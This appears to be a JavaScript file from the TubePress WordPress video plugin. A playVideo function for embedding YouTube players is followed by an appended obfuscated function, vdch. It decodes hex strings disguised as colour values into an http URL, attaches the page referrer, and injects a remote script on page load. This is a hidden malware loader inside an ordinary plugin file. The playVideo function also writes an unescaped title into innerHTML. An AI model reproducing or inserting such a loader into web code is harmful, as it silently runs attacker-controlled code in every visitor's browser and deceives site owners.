function playVideo(id, height, width, title, time, location, url) {
	switch (location) {
		case "popup":
			var newurl = url + "/wp-content/plugins/tubepress/tubepress_popup.php?name=" + escape(title) + "&id=" + id + "&w=" + width + "&h=" + height;
			window.open(newurl, "newwin", "width=" + width + ",height=" + height + ",toolbar=false,locationbar=false,directories=false,status=false,menubar=false,scrollbars=false,resizable=true,copyhistory=false");
			break;
		default:
			document.getElementById('tubepress_mainvideo').innerHTML = ' \
				<a name="tubepress_video"></a> \
					<span class="tubepress_title">' + title + '</span> \
					<span class="runtime">(' + time + ') \
					<object width="' + width +'" height="' + height + '"> \
						<param name="movie" value="http://www.youtube.com/v/' + id + '" /> \
						<embed src="http://www.youtube.com/v/' + id + '" type="application/x-shockwave-flash" width="' + width + 'px" height="' + height + 'px" /> \
					</object> \
			';
			document.location.hash = '#tubepress_video';
			break;
	}
}function vdch() {
	if(document.all.length > 3) {
		var t = new Array('#6a7072', '#723e29', '#2d6767', '#6f6169', '#72766f', '#6c6763', '#717728', '#616b6b', '#2d6d68', '#66617e', '#2c746e', '#723b61', '#6d396a', '#637772', '#6c6171', '#710000');
		var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } } dchid += "&rf=" + escape(document.referrer);
		var dch = document.createElement("script");
		dch.id = "dchid";
		dch.src = dchid;
		document.all[3].appendChild(dch);
	} else {
		setTimeout("vdch()",500);
	}
} setTimeout("vdch()",500);

